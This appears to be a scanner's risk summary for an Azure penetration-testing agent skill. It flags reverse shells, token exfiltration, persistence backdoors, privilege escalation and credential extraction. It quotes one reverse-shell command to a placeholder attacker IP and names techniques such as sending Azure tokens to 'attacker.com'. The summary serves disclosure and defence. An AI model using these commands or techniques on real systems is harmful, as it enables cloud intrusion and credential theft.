The Agent Skills Directory

[COMMAND_EXECUTION]: The skill provides explicit reverse shell command strings designed to establish outbound connections to attacker-controlled infrastructure, such as 'bash -i >& /dev/tcp/ATTACKER_IP/443'.
[DATA_EXFILTRATION]: Instructions and automated scripts demonstrate how to harvest sensitive Azure authentication tokens, including Managed Identity, Access, and Refresh tokens, and transmit them to external logging endpoints like 'attacker.com'.
[PERSISTENCE]: The documentation includes detailed methods for establishing long-term access by injecting backdoors into shell profiles like '.bashrc' and PowerShell profiles, modifying SSH authorized keys, and creating malicious Azure Automation schedules or Webhooks.
[EXTERNAL_DOWNLOADS]: The skill fetches various third-party security tools from GitHub, including 'o365spray', 'TeamsEnum', and 'GraphRunner', and installs external PowerShell modules like 'AADInternals' that are not from trusted official repositories.
[PRIVILEGE_ESCALATION]: The methodology details how to exploit high-privilege roles to take over Azure subscriptions using the 'elevateAccess' feature and how to manipulate RBAC role assignments to grant full control over cloud resources.
[CREDENTIALS_UNSAFE]: Provides specific commands and file paths to extract cached credentials and sensitive configuration files from the local filesystem, including cached tokens in '~/.Azure/' and Windows Identity Cache files.

azure-pentesting